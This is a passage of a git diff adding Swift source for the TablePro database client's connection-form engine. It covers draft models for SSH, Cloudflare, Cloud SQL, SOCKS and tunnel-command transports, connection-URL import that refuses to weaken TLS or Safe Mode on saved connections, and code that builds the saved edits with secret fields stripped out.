{ + guard keepsNetworkValues else { return } + let trimmedHost = host.trimmingCharacters(in: .whitespaces) + if !trimmedHost.isEmpty, trimmedHost != (oldTraits.defaultHost ?? "") { + next.host = host + } + if let port = ConnectionEditorEngine.parsePort(portText), port != oldTraits.defaultPort { + next.portText = String(port) + } + if oldTraits.showsBuiltInDatabaseField, newTraits.showsBuiltInDatabaseField { + next.database = database + } + if endpoint == .localSocket, newTraits.supportsLocalSocket { + next.endpoint = .localSocket + next.localSocketPath = localSocketPath + } + } + + private func keepCredentials(into next: inout ConnectionDraft, newTraits: ConnectionTypeTraits) { + next.credentials.passwordSource = credentials.passwordSource + next.credentials.storedPasswordState = credentials.storedPasswordState + guard newTraits.connectionMode != .fileBased else { return } + next.credentials.mode = credentials.mode + if newTraits.connectionMode == .network { + next.credentials.username = credentials.username + } + if !newTraits.hidesBuiltInPassword { + next.credentials.password = credentials.password + next.credentials.promptsForPassword = credentials.promptsForPassword + } + } + + // A field both types declare keeps a value the user set, when the new field can hold it. + private func carriedFieldValues(newTraits: ConnectionTypeTraits, oldTraits: ConnectionTypeTraits) -> [String: String] { + var carried: [String: String] = [:] + for field in newTraits.fields { + guard let oldField = oldTraits.field(field.id), let value = fieldValues[field.id] else { continue } + if !field.isSecure, value == (oldField.defaultValue ?? "") { continue } + if field.isSecure, value.isEmpty { continue } + if case .dropdown(let options) = field.fieldType, !options.contains(where: { $0.value == value }) { continue } + carried[field.id] = value + } + return carried + } + + // Not the nearest kind: a kept MySQL port forward would otherwise become SQLite's file copy. + private func keepTransport(into next: inout ConnectionDraft, newTraits: ConnectionTypeTraits) { + guard let transport else { return } + guard ConnectionEditorEngine.availableTransports(next, newTraits).contains(transport) else { return } + next.transport = transport + if transport == .ssh, newTraits.socketForwardApplies { + next.sshForwardUnixSocketPath = sshForwardUnixSocketPath + } + if transport != .remoteFile { + next.ssh.remoteFilePath = "" + } + } + + private func keepSSL(into next: inout ConnectionDraft, newTraits: ConnectionTypeTraits) { + guard newTraits.supportsSSL else { return } + if ssl.origin == .chosen, ConnectionEditorEngine.offeredSSLModes(next, newTraits).contains(ssl.mode) { + next.selectSSLMode(ssl.mode) + } else { + next.reconcileSSLWithPort(traits: newTraits) + } + guard newTraits.ssl.supportsPerConnectionCertificatePaths else { return } + next.ssl.caCertPath = ssl.caCertPath + next.ssl.clientCertPath = ssl.clientCertPath + next.ssl.clientKeyPath = ssl.clientKeyPath + next.ssl.clientKeyPassphrase = ssl.clientKeyPassphrase + } + + private func droppedValues(next: ConnectionDraft, oldTraits: ConnectionTypeTraits) -> [String] { + var dropped: [String] = [] + func note(_ label: String, when lost: Bool) { + if lost, !dropped.contains(label) { dropped.append(label) } + } + let trimmedHost = host.trimmingCharacters(in: .whitespaces) + note(String(localized: "Host"), when: !trimmedHost.isEmpty && trimmedHost != (oldTraits.defaultHost ?? "") + && next.host != host) + let customPort = ConnectionEditorEngine.parsePort(portText).map { $0 != oldTraits.defaultPort } ?? false + note(String(localized: "Port"), when: customPort && next.portText != portText) + note(String(localized: "Database"), when: !database.isEmpty && next.database != database) + note(String(localized: "Socket"), when: endpoint == .localSocket && next.endpoint != .localSocket) + note(String(localized: "Username"), when: !credentials.username.isEmpty && next.credentials.username != credentials.username) + note(String(localized: "Password"), when: !credentials.password.isEmpty && next.credentials.password != credentials.password) + note( + String(localized: "Ask for the password every time"), + when: credentials.promptsForPassword && !next.credentials.promptsForPassword + ) + note(String(localized: "Credential Profile"), when: credentials.usesProfile && !next.credentials.usesProfile) + if let transport, next.transport != transport { + note(transport.displayName, when: true) + } + let sslLost = (ssl.origin == .chosen && next.ssl.mode != ssl.mode) + || (!ssl.caCertPath.isEmpty && next.ssl.caCertPath.isEmpty) + || (!ssl.clientCertPath.isEmpty && next.ssl.clientCertPath.isEmpty) + || (!ssl.clientKeyPath.isEmpty && next.ssl.clientKeyPath.isEmpty) + note(String(localized: "SSL/TLS settings"), when: sslLost) + for field in oldTraits.fields { + let value = fieldValues[field.id] ?? "" + let isSet = field.isSecure ? !value.isEmpty : (!value.isEmpty && value != (field.defaultValue ?? "")) + note(field.label, when: isSet && next.fieldValues[field.id] != value) + } + return dropped + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Transports.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Transports.swift new file mode 100644 index 0000000000..c714cbe428 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Transports.swift @@ -0,0 +1,185 @@ +// +// ConnectionDraft+Transports.swift +// TablePro +// + +import Foundation +import TableProSSHConfig +import TableProSSHTransport + +// Each transport keeps its values while another is selected, so switching back within the window restores them. +struct SSHDraft: Equatable, Sendable { + var profileId: UUID? + // The configuration the record stored for its profile, kept so a profile this Mac cannot resolve stays linked. + var profileSnapshot: SSHConfiguration? + var host: String = "" + var port: String = "" + var username: String = "" + var password: String = "" + var authMethod: SSHAuthMethod = .password + var privateKeyPath: String = "" + var agentSocketOption: SSHAgentSocketOption = .systemDefault + var customAgentSocketPath: String = "" + var keyPassphrase: String = "" + var selectedConfigHost: String = "" + var jumpHosts: [SSHJumpHost] = [] + var totpMode: TOTPMode = .none + var totpSecret: String = "" + var totpAlgorithm: TOTPAlgorithm = .sha1 + var totpDigits: Int = 6 + var totpPeriod: Int = 30 + var remoteFilePath: String = "" + var remoteFileAccess: RemoteFileAccess = .onServer + var storedPasswordState: ConnectionStorage.StoredSecretState = .absent + var storedKeyPassphraseState: ConnectionStorage.StoredSecretState = .absent + + var resolvedAgentSocketPath: String { + agentSocketOption.resolvedPath(customPath: customAgentSocketPath) + } + + var clearsStoredPassword: Bool { + password.isEmpty && storedPasswordState == .stored + } + + var clearsStoredKeyPassphrase: Bool { + keyPassphrase.isEmpty && storedKeyPassphraseState == .stored + } + + func inlineConfiguration(enabled: Bool) -> SSHConfiguration { + SSHConfiguration( + enabled: enabled, + host: host, + port: Int(port), + username: username, + authMethod: authMethod, + privateKeyPath: privateKeyPath, + agentSocketPath: resolvedAgentSocketPath, + jumpHosts: jumpHosts, + totpMode: totpMode, + totpAlgorithm: totpAlgorithm, + totpDigits: totpDigits, + totpPeriod: totpPeriod, + remoteFilePath: remoteFilePath, + remoteFileAccess: remoteFileAccess + ) + } + + mutating func populateFields(from config: SSHConfiguration, configEntries: [SSHConfigEntry]) { + host = config.host + port = config.port.map(String.init) ?? "" + username = config.username + authMethod = config.authMethod + privateKeyPath = config.privateKeyPath + applyAgentSocketPath(config.agentSocketPath) + jumpHosts = config.jumpHosts + totpMode = config.totpMode + totpAlgorithm = config.totpAlgorithm + totpDigits = config.totpDigits + totpPeriod = config.totpPeriod + selectedConfigHost = configEntries.first { $0.host == config.host }?.host ?? "" + } + + mutating func applyAgentSocketPath(_ socketPath: String) { + let option = SSHAgentSocketOption(socketPath: socketPath) + agentSocketOption = option + customAgentSocketPath = option == .custom ? socketPath.trimmingCharacters(in: .whitespacesAndNewlines) : "" + } +} + +struct CloudflareDraft: Equatable, Sendable { + var accessHostname: String = "" + var authMethod: CloudflareAuthMethod = .browserSSO + var serviceTokenId: String = "" + var serviceTokenSecret: String = "" + var automaticPort = true + var localPort: String = "" + var exposeToLAN = false + var binaryPath: String = "" + + var configuration: CloudflareConfiguration { + CloudflareConfiguration( + accessHostname: accessHostname.trimmingCharacters(in: .whitespacesAndNewlines), + localPort: automaticPort ? nil : Int(localPort), + authMethod: authMethod, + exposeToLAN: exposeToLAN, + binaryPath: binaryPath.trimmingCharacters(in: .whitespacesAndNewlines) + ) + } + + mutating func populateFields(from config: CloudflareConfiguration) { + accessHostname = config.accessHostname + authMethod = config.authMethod + exposeToLAN = config.exposeToLAN + binaryPath = config.binaryPath + automaticPort = config.localPort == nil + localPort = config.localPort.map(String.init) ?? "" + } +} + +struct CloudSQLProxyDraft: Equatable, Sendable { + var instanceConnectionName: String = "" + var authMode: CloudSQLProxyAuthMode = .applicationDefault + var serviceAccountKeyJSON: String = "" + var useIAMAuth = false + var usePrivateIP = false + var automaticPort = true + var localPort: String = "" + var binaryPath: String = "" + + var configuration: CloudSQLProxyConfiguration { + CloudSQLProxyConfiguration( + instanceConnectionName: instanceConnectionName.trimmingCharacters(in: .whitespacesAndNewlines), + authMode: authMode, + useIAMAuth: useIAMAuth, + usePrivateIP: usePrivateIP, + localPort: automaticPort ? nil : Int(localPort), + binaryPath: binaryPath.trimmingCharacters(in: .whitespacesAndNewlines) + ) + } + + var hasServiceAccountKey: Bool { + !serviceAccountKeyJSON.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty + } + + mutating func populateFields(from config: CloudSQLProxyConfiguration) { + instanceConnectionName = config.instanceConnectionName + authMode = config.authMode + useIAMAuth = config.useIAMAuth + usePrivateIP = config.usePrivateIP + binaryPath = config.binaryPath + automaticPort = config.localPort == nil + localPort = config.localPort.map(String.init) ?? "" + } +} + +struct SOCKSProxyDraft: Equatable, Sendable { + var host: String = "" + var port: String = "1080" + var username: String = "" + var password: String = "" + + var configuration: SOCKSProxyConfiguration { + SOCKSProxyConfiguration( + host: host.trimmingCharacters(in: .whitespacesAndNewlines), + port: Int(port.trimmingCharacters(in: .whitespacesAndNewlines)) ?? 1_080, + username: username.trimmingCharacters(in: .whitespacesAndNewlines) + ) + } +} + +struct TunnelCommandDraft: Equatable, Sendable { + var config = TunnelCommandConfiguration() + + var trimmedConfiguration: TunnelCommandConfiguration { + var trimmed = config + trimmed.command = config.command.trimmingCharacters(in: .whitespacesAndNewlines) + trimmed.executablePath = config.executablePath.trimmingCharacters(in: .whitespacesAndNewlines) + trimmed.kubernetesNamespace = config.kubernetesNamespace.trimmingCharacters(in: .whitespacesAndNewlines) + trimmed.kubernetesResource = config.kubernetesResource.trimmingCharacters(in: .whitespacesAndNewlines) + trimmed.kubernetesContext = config.kubernetesContext.trimmingCharacters(in: .whitespacesAndNewlines) + trimmed.awsTarget = config.awsTarget.trimmingCharacters(in: .whitespacesAndNewlines) + trimmed.awsProfile = config.awsProfile.trimmingCharacters(in: .whitespacesAndNewlines) + trimmed.awsRegion = config.awsRegion.trimmingCharacters(in: .whitespacesAndNewlines) + return trimmed + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+URLImport.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+URLImport.swift new file mode 100644 index 0000000000..8bd8dd62c2 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+URLImport.swift @@ -0,0 +1,253 @@ +// +// ConnectionDraft+URLImport.swift +// TablePro +// + +import Foundation +import TableProConnectionLibrary +import TableProPluginKit +import TableProRedisCore +import TableProSSHConfig + +enum URLApplyPolicy: Equatable, Sendable { + // Import from URL and a paste into a connection that is not saved yet: the whole mapping. + case newConnection + // A paste into a saved connection: never lowers Safe Mode, weakens TLS, renames or adds raw driver options. + case existingConnection +} + +extension ConnectionDraft { + // Never a tunnel command, startup SQL or script: a URL carries none, and app-managed keys are dropped. + mutating func apply( + _ parsed: ParsedConnectionURL, + traits: ConnectionTypeTraits, + policy: URLApplyPolicy, + safeModeFloor: SafeModeFloor? = nil + ) { + let isNew = policy == .newConnection + applyEndpoint(parsed, traits: traits, isNew: isNew) + applySSL(parsed, isNew: isNew) + applySSH(parsed) + + if let hostList = traits.fields.endpointHostList { + if let multiHost = parsed.multiHost, !multiHost.isEmpty { + fieldValues[hostList.id] = multiHost + } else { + fieldValues[hostList.id] = HostListEndpoint.parse(parsed.host, defaultPort: parsed.resolvedPort)?.entry + } + } + + applyDriverOptions(parsed, traits: traits, isNew: isNew) + + if let hex = parsed.statusColor, !hex.isEmpty { + appearance.color = ConnectionURLParser.connectionColor(fromHex: hex) + } + if let environment = parsed.environment { + setEnvironment(environment) + } + applyEngineFields(parsed, traits: traits) + + if isNew { + if let connectionName = parsed.connectionName, !connectionName.isEmpty { + name = connectionName + } else if name.isEmpty { + name = parsed.suggestedName + } + } + applySafeMode(parsed, isNew: isNew, floor: safeModeFloor) + } + + private mutating func applyEndpoint(_ parsed: ParsedConnectionURL, traits: ConnectionTypeTraits, isNew: Bool) { + if let socketPath = parsed.localSocketPath, traits.supportsLocalSocket { + endpoint = .localSocket + localSocketPath = socketPath + selectTransport(nil) + } else { + // Left on Socket, normalizing would drop the SSH server the URL names. + endpoint = .hostAndPort + } + host = parsed.host + portText = String(parsed.resolvedPort) + if isNew || !parsed.database.isEmpty { + database = parsed.database + } + if isNew || !parsed.username.isEmpty { + credentials.username = parsed.username + } + if isNew || !parsed.password.isEmpty { + credentials.password = parsed.password + } + } + + private mutating func applySSL(_ parsed: ParsedConnectionURL, isNew: Bool) { + let resolution = parsed.sslModeResolution + guard isNew || Self.strictness(of: resolution.mode) >= Self.strictness(of: ssl.mode) else { return } + applyImportedSSL(resolution) + } + + static func strictness(of mode: SSLMode) -> Int { + switch mode { + case .disabled: return 0 + case .preferred: return 1 + case .required: return 2 + case .verifyCa: return 3 + case .verifyIdentity: return 4 + } + } + + private mutating func applySSH(_ parsed: ParsedConnectionURL) { + guard let sshHost = parsed.sshHost else { return } + selectTransport(.ssh) + ssh.profileId = nil + ssh.host = sshHost + ssh.port = parsed.sshPort.map(String.init) ?? "" + ssh.username = parsed.sshUsername ?? "" + if let sshPassword = parsed.sshPassword, !sshPassword.isEmpty { + ssh.password = sshPassword + } + if parsed.usePrivateKey == true { + ssh.authMethod = .privateKey + } + if parsed.useSSHAgent == true { + ssh.authMethod = .sshAgent + ssh.applyAgentSocketPath(parsed.agentSocket ?? "") + } + if parsed.sshNoAuth == true { + ssh.authMethod = .none + } + } + + // Raw driver options reach the driver as typed, so a paste into a saved connection adds none of them. + private mutating func applyDriverOptions(_ parsed: ParsedConnectionURL, traits: ConnectionTypeTraits, isNew: Bool) { + if isNew { + let replaced = fieldValues.keys.filter { + ($0.hasPrefix("mongo") || $0.hasPrefix(ConnectionSecretOptions.mongoOptionPrefix)) && $0 != "mongoHosts" + } + for key in replaced { + fieldValues.removeValue(forKey: key) + } + } + if let authSource = parsed.authSource, !authSource.isEmpty { + fieldValues["mongoAuthSource"] = authSource + } + if parsed.useSrv { + fieldValues["mongoUseSrv"] = "true" + } + for (key, value) in parsed.mongoQueryParams where !value.isEmpty { + switch key.lowercased() { + case "authmechanism": + fieldValues["mongoAuthMechanism"] = value + case "replicaset": + fieldValues["mongoReplicaSet"] = value + case "uuidrepresentation": + fieldValues["mongoUuidRepresentation"] = value + // Secrets go to the Keychain through SSL and a secure field, never into a plain option. + case "tlscertificatekeyfile", "sslclientcertificatekeyfile": + ssl.clientCertPath = value + ssl.clientKeyPath = value + case "tlscertificatekeyfilepassword", "sslclientcertificatekeypassword": + ssl.clientKeyPassphrase = value + case "authmechanismproperties": + let split = ConnectionSecretOptions.splitSessionToken(from: value) + if isNew, let remaining = split.remaining { + fieldValues["\(ConnectionSecretOptions.mongoOptionPrefix)\(key)"] = remaining + } + if let token = split.sessionToken { + fieldValues[ConnectionSecretOptions.mongoSessionTokenFieldId] = token + } + case "proxypassword": + // libmongoc has no proxy options, so the password would only sit in the record. + continue + default: + if isNew { + fieldValues["\(ConnectionSecretOptions.mongoOptionPrefix)\(key)"] = value + } + } + } + if traits.field(RedisDatabaseIndex.fieldName) != nil, let redisDatabase = parsed.redisDatabase { + fieldValues[RedisDatabaseIndex.fieldName] = String(redisDatabase) + } + if let serviceName = parsed.oracleServiceName, !serviceName.isEmpty { + fieldValues["oracleServiceName"] = serviceName + } + let refused = ConnectionFormEdits.appManagedAdditionalFieldIDs + for (fieldId, value) in parsed.additionalFields where !refused.contains(fieldId) { + fieldValues[fieldId] = value + } + } + + private mutating func applyEngineFields(_ parsed: ParsedConnectionURL, traits: ConnectionTypeTraits) { + switch traits.pluginTypeId { + case "libSQL" where !parsed.host.isEmpty: + var urlString = "https://\(HostListEndpoint.urlHost(parsed.host))" + if let port = parsed.port { + urlString += ":\(port)" + } + fieldValues["databaseUrl"] = urlString + case "Cloudflare D1" where !parsed.host.isEmpty: + fieldValues["cfAccountId"] = parsed.host + case "DuckDB": + if parsed.host.isEmpty { + fieldValues["duckdbMode"] = "local" + fieldValues["duckdbFilePath"] = parsed.database + } else { + fieldValues["duckdbMode"] = "remote" + fieldValues["duckdbHost"] = parsed.host + if let port = parsed.port { + fieldValues["duckdbPort"] = String(port) + } + if !parsed.database.isEmpty { + fieldValues["duckdbAlias"] = parsed.database + } + } + default: + break + } + } + + private mutating func applySafeMode(_ parsed: ParsedConnectionURL, isNew: Bool, floor: SafeModeFloor?) { + guard let raw = parsed.safeModeLevel, let level = SafeModeLevel.from(urlInteger: raw) else { return } + if isNew { + safety.safeModeLevel = level + safety.userSetSafeMode = true + return + } + let current = floor?.raising(safety.safeModeLevel) ?? safety.safeModeLevel + guard level.strictness > current.strictness else { return } + safety.safeModeLevel = level + safety.userSetSafeMode = true + } + + static func changedValues(from old: ConnectionDraft, to new: ConnectionDraft, traits: ConnectionTypeTraits) -> [String] { + var changes: [String] = [] + func note(_ label: String, _ changed: Bool) { + if changed, !changes.contains(label) { changes.append(label) } + } + note(String(localized: "Type"), old.type != new.type) + note(String(localized: "Name"), old.name != new.name) + note(String(localized: "Host"), old.host != new.host) + note(String(localized: "Port"), old.portText != new.portText) + note(String(localized: "Socket"), old.endpoint != new.endpoint || old.localSocketPath != new.localSocketPath) + note(String(localized: "Database"), old.database != new.database) + note(String(localized: "Username"), old.credentials.username != new.credentials.username) + note(String(localized: "Password"), old.credentials.password != new.credentials.password) + note(String(localized: "SSL Mode"), old.ssl.mode != new.ssl.mode) + note( + String(localized: "Client Certificates"), + old.ssl.clientCertPath != new.ssl.clientCertPath || old.ssl.clientKeyPath != new.ssl.clientKeyPath + || old.ssl.clientKeyPassphrase != new.ssl.clientKeyPassphrase + ) + if old.transport != new.transport { + note(new.transport?.displayName ?? ConnectionTunnelKind.directDisplayName, true) + } + note(String(localized: "SSH Tunnel"), old.ssh != new.ssh && new.usesSSHServer) + note(String(localized: "Environment"), old.environment != new.environment) + note(String(localized: "Color"), old.appearance.color != new.appearance.color) + note(String(localized: "Safe Mode"), old.safety.safeModeLevel != new.safety.safeModeLevel) + let keys = Set(old.fieldValues.keys).union(new.fieldValues.keys) + for key in keys.sorted() where old.fieldValues[key] != new.fieldValues[key] { + note(traits.field(key)?.label ?? key, true) + } + return changes + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft.swift new file mode 100644 index 0000000000..ac3469b6f5 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft.swift @@ -0,0 +1,129 @@ +// +// ConnectionDraft.swift +// TablePro +// + +import Foundation +import TableProAutocomplete +import TableProPluginKit + +struct ConnectionDraft: Equatable, Sendable { + enum Endpoint: Hashable, Sendable { + case hostAndPort + case localSocket + } + + var name: String = "" + var type: DatabaseType + var environment: ConnectionEnvironment = .none + var endpoint: Endpoint = .hostAndPort + var host: String = "" + var portText: String = "" + var database: String = "" + var localSocketPath: String = "" + var sshForwardUnixSocketPath: String = "" + var credentials = CredentialsDraft() + // Every plugin field of the type in one bag, secure values included; the engine strips secure ids before a write. + var fieldValues: [String: String] = [:] + var transport: ConnectionTunnelKind? + var ssh = SSHDraft() + var cloudflare = CloudflareDraft() + var cloudSQLProxy = CloudSQLProxyDraft() + var socksProxy = SOCKSProxyDraft() + var tunnelCommand = TunnelCommandDraft() + var ssl = SSLDraft() + var options = OptionsDraft() + var safety = SafetyDraft() + var ai = AIDraft() + var appearance = AppearanceDraft() + + init(type: DatabaseType) { + self.type = type + } + + var usesSSHServer: Bool { transport == .ssh || transport == .remoteFile } +} + +struct CredentialsDraft: Equatable, Sendable { + var mode: CredentialMode = .inline + var username: String = "" + var password: String = "" + var promptsForPassword = false + // Read only: it lives in connections.json and is carried over by the save. + var passwordSource: PasswordSource? + var storedPasswordState: ConnectionStorage.StoredSecretState = .absent + + var usesProfile: Bool { mode.profileId != nil } +} + +struct SSLDraft: Equatable, Sendable { + var mode: SSLMode = .disabled + var origin: SSLModeOrigin = .typeDefault + var caCertPath: String = "" + var clientCertPath: String = "" + var clientKeyPath: String = "" + var clientKeyPassphrase: String = "" + + var configuration: SSLConfiguration { + SSLConfiguration( + mode: mode, + caCertificatePath: caCertPath, + clientCertificatePath: clientCertPath, + clientKeyPath: clientKeyPath + ) + } +} + +struct OptionsDraft: Equatable, Sendable { + var connectTimeoutSeconds: Int? + var queryTimeoutSeconds: Int? + var binaryInlineLimitKilobytes: Int? + var completionIdentifierCase: SQLIdentifierCase = .default + var startupCommands: String = "" + var preConnectScript: String = "" + var postDisconnectScript: String = "" + var scriptTimeoutSeconds: Int? + var localOnly = false +} + +struct SafetyDraft: Equatable, Sendable { + var safeModeLevel: SafeModeLevel = .silent + // Until the user picks a level, a new connection's level follows its environment. + var userSetSafeMode = false + var commitMode: ConnectionCommitMode = .automatic + var maskingRules: [MaskingRule] = [] +} + +struct AIDraft: Equatable, Sendable { + var policy: AIConnectionPolicy? + var rules: String = "" + var externalAccess: ExternalAccessLevel = .readOnly + var alwaysAllowedTools: [String] = [] + var revokedTools: Set = [] +} + +struct AppearanceDraft: Equatable, Sendable { + var color: ConnectionColor = .none + var iconName: String? + var tagIds: [UUID] = [] + var groupId: UUID? +} + +// What the store read from the Keychain for a stored connection. Nil means not stored or unreadable. +struct DraftSecrets: Equatable, Sendable { + var password: String? + var passwordState: ConnectionStorage.StoredSecretState = .absent + var sshPassword: String? + var sshPasswordState: ConnectionStorage.StoredSecretState = .absent + var sshKeyPassphrase: String? + var sshKeyPassphraseState: ConnectionStorage.StoredSecretState = .absent + var totpSecret: String? + var sslClientKeyPassphrase: String? + var cloudflareTokenId: String? + var cloudflareTokenSecret: String? + var cloudSQLServiceAccountKey: String? + var socksPassword: String? + var pluginSecureFields: [String: String] = [:] + + static let none = DraftSecrets() +} diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Edits.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Edits.swift new file mode 100644 index 0000000000..fd03c6ca4c --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Edits.swift @@ -0,0 +1,243 @@ +// +// ConnectionEditorEngine+Edits.swift +// TablePro +// + +import Foundation +import TableProAutocomplete +import TableProConnectionLibrary +import TableProPluginKit +import TableProRedisCore +import TableProSSHConfig + +extension ConnectionEditorEngine { + // Secure values never reach the record: every secure id either type could hold, and the Mongo session token. + static func secretFieldIds(_ traits: ConnectionTypeTraits, originalTraits: ConnectionTypeTraits?) -> Set { + var ids = Set(traits.declaredSecureFieldIds + traits.storedSecureFieldIds) + if let originalTraits { + ids.formUnion(originalTraits.declaredSecureFieldIds + originalTraits.storedSecureFieldIds) + } + ids.insert(ConnectionSecretOptions.mongoSessionTokenFieldId) + return ids + } + + static func ownedAdditionalFieldIds(_ traits: ConnectionTypeTraits, originalTraits: ConnectionTypeTraits?) -> Set { + var ids = ConnectionFormEdits.appManagedAdditionalFieldIDs + ids.formUnion(traits.fields.map(\.id)) + if let originalTraits, originalTraits.type != traits.type { + ids.formUnion(originalTraits.fields.map(\.id)) + } + return ids + } + + static func edits( + _ draft: ConnectionDraft, + _ traits: ConnectionTypeTraits, + originalTraits: ConnectionTypeTraits?, + _ context: EditorContext + ) -> ConnectionFormEdits { + let draft = normalized(draft, traits) + let secretIds = secretFieldIds(traits, originalTraits: originalTraits) + var fields = draft.fieldValues.filter { !secretIds.contains($0.key) } + + let forwardSocket = draft.sshForwardUnixSocketPath.trimmingCharacters(in: .whitespaces) + if draft.transport == .ssh, !forwardSocket.isEmpty { + fields[DatabaseConnection.sshForwardUnixSocketPathKey] = forwardSocket + } + let socket = localSocketEndpoint(draft, traits) + if let socket { + fields[MySQLLocalSocket.fieldKey] = socket.path + } + + var host = resolvedHost(draft, traits) + var port = socket?.port ?? resolvedPort(draft, traits) + // An empty list means what its placeholder shows, never the Host it hid. + if let hostList = traits.fields.endpointHostList { + let endpoints = HostListEndpoint.parseList(fields[hostList.id] ?? "", defaultPort: traits.defaultPort) + fields[hostList.id] = endpoints.map(\.entry).joined(separator: ",") + let primary = endpoints.first + ?? HostListEndpoint(host: traits.defaultHost ?? "localhost", port: traits.defaultPort) + host = primary.host + port = primary.port + } + + writeScripts(draft, into: &fields) + fields[ConnectionEnvironment.fieldKey] = draft.environment == .none ? nil : draft.environment.rawValue + fields["promptForPassword"] = effectivePromptForPassword(draft, traits) ? "true" : nil + + let ssh = sshValues(draft, context) + return ConnectionFormEdits( + name: draft.name, + host: host, + port: port, + database: draft.database, + username: context.credentialProfile(draft.credentials.mode.profileId)?.username + ?? draft.credentials.username.trimmingCharacters(in: .whitespaces), + type: draft.type, + sshConfig: ssh.config, + sslConfig: draft.ssl.configuration, + color: draft.appearance.color, + iconName: draft.appearance.iconName, + tagIds: draft.appearance.tagIds, + groupId: draft.appearance.groupId, + sshProfileId: ssh.profileId, + sshTunnelMode: ssh.mode, + credentialMode: draft.credentials.mode, + cloudflareTunnelMode: draft.transport == .cloudflare ? .inline(draft.cloudflare.configuration) : .disabled, + cloudSQLProxyMode: draft.transport == .cloudSQLProxy ? .inline(draft.cloudSQLProxy.configuration) : .disabled, + socksProxyMode: draft.transport == .socksProxy ? .inline(draft.socksProxy.configuration) : .disabled, + tunnelCommandMode: draft.transport == .tunnelCommand + ? .inline(draft.tunnelCommand.trimmedConfiguration) : .disabled, + safeModeLevel: draft.safety.safeModeLevel, + aiPolicy: draft.ai.policy, + aiRules: draft.ai.rules.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty ? nil : draft.ai.rules, + externalAccess: draft.ai.externalAccess, + connectTimeoutSeconds: draft.options.connectTimeoutSeconds, + queryTimeoutSeconds: draft.options.queryTimeoutSeconds, + binaryInlineLimitKilobytes: draft.options.binaryInlineLimitKilobytes, + completionIdentifierCase: draft.options.completionIdentifierCase, + commitMode: draft.safety.commitMode, + redisDatabase: traits.field(RedisDatabaseIndex.fieldName) == nil + ? nil + : draft.fieldValues[RedisDatabaseIndex.fieldName].map { RedisDatabaseIndex.parse($0) ?? 0 }, + startupCommands: draft.options.startupCommands.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty + ? nil : draft.options.startupCommands, + localOnly: draft.options.localOnly, + additionalFields: fields, + ownedAdditionalFieldIDs: ownedAdditionalFieldIds(traits, originalTraits: originalTraits), + maskingRules: draft.safety.maskingRules.filter { !$0.trimmedPattern.isEmpty }, + revokedAIAlwaysAllowedTools: draft.ai.revokedTools + ) + } + + private static func writeScripts(_ draft: ConnectionDraft, into fields: inout [String: String]) { + for (key, script) in [ + ("preConnectScript", draft.options.preConnectScript), + (DatabaseConnection.postDisconnectScriptKey, draft.options.postDisconnectScript) + ] { + fields[key] = script.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty ? nil : script + } + if let timeout = draft.options.scriptTimeoutSeconds, ConnectionScriptRunner.timeoutSecondsRange.contains(timeout) { + fields[DatabaseConnection.scriptTimeoutSecondsKey] = String(timeout) + } else { + fields[DatabaseConnection.scriptTimeoutSecondsKey] = nil + } + } + + // A profile names a server, not a file, so the remote path overlays whichever configuration is in play. + private static func sshValues( + _ draft: ConnectionDraft, + _ context: EditorContext + ) -> (config: SSHConfiguration, profileId: UUID?, mode: SSHTunnelMode) { + func overlaid(_ config: SSHConfiguration) -> SSHConfiguration { + var config = config + config.enabled = true + config.remoteFilePath = draft.ssh.remoteFilePath + config.remoteFileAccess = draft.ssh.remoteFileAccess + return config + } + switch sshResolution(draft, context) { + case .disabled: + return (draft.ssh.inlineConfiguration(enabled: false), nil, .disabled) + case .inline(let config): + return (config, nil, .inline(config)) + case .profile(let profile): + let config = overlaid(profile.toSSHConfiguration()) + return (config, profile.id, .profile(id: profile.id, snapshot: config)) + case .unresolvedProfile(let id, let snapshot): + let config = overlaid(snapshot) + return (config, id, .profile(id: id, snapshot: config)) + } + } + + // What a test result was earned on. Name, appearance and policy edits leave a result standing. + struct TestFingerprint: Equatable { + let edits: ConnectionFormEdits + let secrets: [String] + } + + static func testFingerprint( + _ draft: ConnectionDraft, + _ traits: ConnectionTypeTraits, + originalTraits: ConnectionTypeTraits?, + _ context: EditorContext + ) -> TestFingerprint { + var edits = edits(draft, traits, originalTraits: originalTraits, context) + edits.name = "" + edits.color = .none + edits.iconName = nil + edits.tagIds = [] + edits.groupId = nil + edits.safeModeLevel = .silent + edits.aiPolicy = nil + edits.aiRules = nil + edits.externalAccess = .readOnly + edits.maskingRules = [] + edits.revokedAIAlwaysAllowedTools = [] + edits.localOnly = false + edits.completionIdentifierCase = .default + edits.commitMode = .automatic + edits.binaryInlineLimitKilobytes = nil + edits.queryTimeoutSeconds = nil + edits.additionalFields[ConnectionEnvironment.fieldKey] = nil + let secretIds = secretFieldIds(traits, originalTraits: originalTraits) + let pluginSecrets = draft.fieldValues + .filter { secretIds.contains($0.key) } + .sorted { $0.key < $1.key } + .map { "\($0.key)=\($0.value)" } + let secrets = [ + draft.credentials.password, + draft.ssh.password, + draft.ssh.keyPassphrase, + draft.ssh.totpSecret, + draft.ssl.clientKeyPassphrase, + draft.cloudflare.serviceTokenId, + draft.cloudflare.serviceTokenSecret, + draft.cloudSQLProxy.serviceAccountKeyJSON, + draft.socksProxy.password + ] + pluginSecrets + return TestFingerprint(edits: edits, secrets: secrets) + } + + // A test record carries what the saved one would, under a throwaway id. + static func record(_ connection: DatabaseConnection, reassignedTo id: UUID) -> DatabaseConnection { + var copy = DatabaseConnection( + id: id, + name: connection.name, + host: connection.host, + port: connection.port, + database: connection.database, + username: connection.username, + type: 